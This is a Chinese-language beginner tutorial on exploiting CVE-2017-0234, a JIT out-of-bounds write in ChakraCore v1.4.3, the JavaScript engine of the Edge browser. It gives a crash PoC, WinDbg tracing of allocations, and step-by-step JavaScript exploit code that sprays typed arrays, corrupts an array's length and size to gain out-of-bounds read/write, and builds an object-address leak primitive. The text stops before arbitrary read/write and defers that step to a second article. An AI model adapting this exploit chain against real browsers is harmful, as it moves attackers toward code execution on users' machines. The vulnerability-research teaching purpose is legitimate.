Edge 零基础漏洞利用

 

背景阐述

自2007举办至今,在pwn2own的比赛中,浏览器一直是重头戏。观看比赛的同时,相信好多小伙伴已经跃跃欲试了。但你还记得有多少次信心满满,最后又都暂且搁置了呢?文章主要针对浏览器漏洞利用零基础的人群,笔者详细记录了在漏洞利用过程走过的一些坑与总结的技巧。最终达到在解决一些共有的痛点的同时,重新恢复大家漏洞利用的信心,毕竟哪位伟人曾经曰过:信心比黄金还宝贵。

 

文章目标

看着大佬的花式炫技,就是无从下手怎么办?眼看千遍,不如动手一遍。毕竟眼见为实,也更加有趣。勤动手操作,零基础在浏览器中稳定的弹出第一个计算器!

 

动手实战

这里以 CVE-2017-0234为例,ch 的版本为:v1.4.3。poc 文件如下:

function jitBlock(arr, index)
{   
    arr[index] = 0xdeedbeef;
}

var arr = new Uint32Array(0x40000/4)

for(var i=0; i<0x10000; i++){
    jitBlock(arr, 0)
}

jitBlock(arr, 0x7fffffff)

windbg 中运行 poc 后,得到如下crash信息:

对比 js 文件与汇编,我们很容易发现 rbx 寄存器代表整个 typearray, r14 代表数组的索引。漏洞原因:jit 代码生成时,过度优化导致的数组越界访问。

 

背景知识

我们现在只知道这个洞可以越界写,那么怎么把这个洞利用起来呢?回答这个疑问,需要解决一些基础问题:

1. 漏洞对象的分配使用哪个分配器(VirtualAlloc、malloc、HeapAlloc、MemGC)?
2. 分配的大小是否任意值?
3. 漏洞对象分配由于内存对齐等原因,实际占有多大空间?

我们挨个解决上述问题。

1. 漏洞对象的分配使用哪个分配器(VirtualAlloc、malloc、HeapAlloc、MemGC)?

解决这个问题,方便我们决定用哪个对象把越界区域占住。

首先模糊匹配系统中有哪些 alloc 相关的api。

> x kernel32!virtual*
00007ff8`fc40b0d0 KERNEL32!VirtualQueryStub (<no parameter info>)
00007ff8`fc40a2a0 KERNEL32!VirtualAllocStub (<no parameter info>)
00007ff8`fc4273e0 KERNEL32!VirtualProtectExStub (<no parameter info>)
00007ff8`fc40b0b0 KERNEL32!VirtualProtectStub (<no parameter info>)
00007ff8`fc40ba70 KERNEL32!VirtualUnlockStub (<no parameter info>)
00007ff8`fc4105b0 KERNEL32!VirtualAllocExNumaStub (<no parameter info>)
00007ff8`fc40a2c0 KERNEL32!VirtualFreeStub (<no parameter info>)
00007ff8`fc4273c0 KERNEL32!VirtualAllocExStub (<no parameter info>)
00007ff8`fc40b0a0 KERNEL32!VirtualQueryExStub (<no parameter info>)
00007ff8`fc4273d0 KERNEL32!VirtualFreeExStub (<no parameter info>)
00007ff8`fc40ed20 KERNEL32!VirtualLockStub (<no parameter info>)

把关键 api 的参数及返回值打印出来

> bu KERNELBASE!VirtualAlloc      ".if(@rdx>=0x40000){.printf "addr=%p size=%p\n ",rcx, rdx; gc} .else{gc}"
> bu KERNELBASE!VirtualAlloc+0x5a ".if(1==2){} .else{.printf "ret=%p \n",rax;gc}"

重新运行后,可以确定 arr 数组确实是由 VirtualAlloc 分配,有两处与之相关的分配记录,分配的地址相同,大小不一样,感兴趣的同学可以继续把 VirtualAlloc的其他参数打印出来。至于为什么同一个地址进行两次分配,这个问题我们放在后面统一释疑,目前只关注漏洞利用本身。

2. 分配的大小是否任意值?

要提高漏洞利用的成功率,首先需要确保漏洞的稳定复现。这里先使用结论,原因同上,释疑放在后面。

> bu chakracore!Js::JavascriptArrayBuffer::IsValidVirtualBufferLength

/*
  1. length >= 2^16
  2. length is power of 2 or (length > 2^24 and length is multiple of 2^24)
  3. length is a multiple of 4K
*/

分配的长度需要同时满足上述的条件,所以 len >= 2^(16+n) or > 2^(24+n)。 [这里 n 满足非负整数]

所以满足条件的最小len为 2^16 = 0x10000

3. 漏洞对象分配由于内存对齐,实际占有多大空间?

windbg 的 address 命令可以解决这个疑问。

000001c3`21cc00d2 42893cab        mov     dword ptr [rbx+r13*4],edi ds:000001c2`21c9fffc=????????
0:003> !address rbx

Usage:                  <unknown>
Base Address:           000001c0`21ca0000
End Address:            000001c0`21cb0000
Region Size:            00000000`00010000 (  64.000 kB)
State:                  00001000          MEM_COMMIT
Protect:                00000004          PAGE_READWRITE
Type:                   00020000          MEM_PRIVATE
Allocation Base:        000001c0`21ca0000
Allocation Protect:     00000001          PAGE_NOACCESS

Content source: 1 (target), length: 10000

0:003> !address 000001c0`21cb0000

Usage:                  <unknown>
Base Address:           000001c0`21cb0000
End Address:            000001c1`21ca0000
Region Size:            00000000`ffff0000 (   4.000 GB)
State:                  00002000          MEM_RESERVE
Protect:                <info not present at the target>
Type:                   00020000          MEM_PRIVATE
Allocation Base:        000001c0`21ca0000
Allocation Protect:     00000001          PAGE_NOACCESS

Content source: 0 (invalid), length: ffff0000

两部分总计的内存为:0xffff0000 + 0x10000 = 0x100000000=4G,调整 poc 实际验证下:

function jitBlock(arr, index, value)
{   
    arr[index] = value;
}

var arr = new Uint32Array(0x40000/4);
var spray_arr = new Uint32Array(0x40000/4);

for(var i=0; i<0x10000; i++){
    jitBlock(arr, 0, 0x41414141);  // force jit 
}

jitBlock(spray_arr, 0,  0x42424242);

结论: 内存数据喷射可以选择 obj 为:Uint32Array,两个Uint32Array相隔距离为:0x100000000。

 

Exp 部分开始

在获得上述背景知识后, 我们可以立即进入Exp了。这部分最为精彩,也请感兴趣的读者动手操作起来。

1 – 越界写 to 越界读写

单纯的越界写对象的数据部分没有多大意义,我们需要修改一个对象的头信息,也就是对象的元数据。修改的目的是:让对象获得比之前更大的空间访问能力(越界读写)。

这里继续修改 poc:

function jitBlock(arr, index, value)
{   
    arr[index] = value;
}

var arr = new Uint32Array(0x40000/4);
var spray_arr = new Array(0x40000/4);

for(var i=0; i<0x10000; i++){
    jitBlock(arr, 0, 0x41414141);  // force jit 
}

jitBlock(spray_arr, 0,  0x42424242);

这里我们看到 spray_arr 的元数据在 arr 之后,用 windbg 帮我解析下数据的格式:

> dx -r1 ((chakracore!Js::SparseArraySegmentBase *)0x1b19d0c0020)

对照 上图, spray_arr 的元数据开始于0x1b19d0c0020, left 为0, length 为 0x1(代表当前 segment 初始化了一个元素 0x42424242), size 为 0x10002。

为了让 spray_arr 数组获得越界读写的能力, 需要 arr 数组越界写掉它的 length 和 size 和两个域。

调整poc 如下:

function jitBlock(arr, index, value)
{   
    arr[index] = value;
}

var arr = new Uint32Array(0x40000/4);
var spray_arr = new Array(0x40000/4);

for(var i=0; i<0x10000; i++){
    jitBlock(arr, 0, 0x41414141);  // force jit 
}

jitBlock(spray_arr, 0,  0x42424242);

var spray_arr_len_index = (0x100000000 )/4 +9;
var spray_arr_size_index = (0x100000000 )/4+ 10;
jitBlock(arr, spray_arr_len_index, 0x7fffffff);
jitBlock(arr, spray_arr_size_index, 0x7fffffff);

length 和 size 顺利被修改。至此, 越界写已经顺利转化为越界读写。

2 – 越界读写 to 任意地址读写

任意地址读写需要 fake 一个 DataView , 首先需要一个泄漏任意地址的原语。还记得我们当初的目标吗?“零基础在浏览器中稳定的弹出第一个计算器”,对吧?我们这里重构一下代码,以便稳扎稳打的进行后面的环节。

function log(str){
    print(str);
}

function jitBlock(type_arr, index, value)
{   
    type_arr[index] = value;
}

function force_jit(){   
    var arr = new Uint32Array(0x40000/4);

    for(var i=0; i < 0x10000; i++){
        jitBlock(arr, 0, 0x41414141);
    }
}

force_jit();

function oob_write(arr, index, value){
    jitBlock(arr, index, value); 
}

//arr  : @typearray
//index: @int [0 - 0xffffffff]
//value: @int [0 - 0x7fffffff]
//export API : oob_write 


// let us spray it

let fill_vec = new Array();
var fill_len = 0x1000;
var vul_arr;
var int_arr;
var obj_arr;

for (var i=0; i< fill_len; i++){

    vul_arr = new Uint32Array(0x40000/4);
    vul_arr[0] = 0;

    int_arr = new Array(0x40000/4);
    // int_arr[0] is a hole for OOB write
    // int_arr[1] is a flag "OWN"  0x4e574f, to construct "PWN2OWN"
    int_arr[1] = 0x4e574f; 

    oob_write(vul_arr, 0x100000000/4 + 14, 0x324e5750);   // OOB write "PWN2" 0x324e5750

    if( 0x324e5750 == int_arr[0]){
        log("found it:"+ i);
        // new obj arr to leak addresss
        obj_arr = new Array(0x40000/4);
        obj_arr[0] = obj_arr;       
        break;
    }

}

function modify_oob_arr_attri(new_capacity){
    var arr_len_index  = 0x100000000/4 + 9;
    var arr_size_index = 0x100000000/4 + 10;
    oob_write(vul_arr ,arr_len_index, new_capacity);
    oob_write(vul_arr ,arr_size_index, new_capacity);
    int_arr.length = 0xffff0000;
}

modify_oob_arr_attri(0x7fffffff);

这里借助 vul_arr 的越界写,修改后面的 int_arr 的内存,如果 int_arr 读出该越界写的数据,则判断数据喷射成功,否则进行下一次尝试。obj_arr 用作存储任意 obj 的地址, int_arr 越界读取obj的地址。以下操作即可泄漏出任意 obj 的地址。

function leak_obj_addr(obj){
    obj_arr[0] = obj;
    var addr_high_index = 0x50000/4 + 1; 
    var addr_low_index  = 0x50000/4;

    var tmp = new Uint32Array(2);
    tmp[0] = int_arr[addr_high_index];
    tmp[1] = int_arr[addr_low_index];

    var addr = tmp[0]*0x100000000 + tmp[1];
    return addr;    
}

接下来需要 fake 一个 DataView 来完成任意地址读写,怎么样才能稳定的 fake 一个DataView呢?需要再次数据喷射吗, 还是有其他技巧?详细篇幅有点长,我们把内容放在第二篇文章,敬请期待。

(完)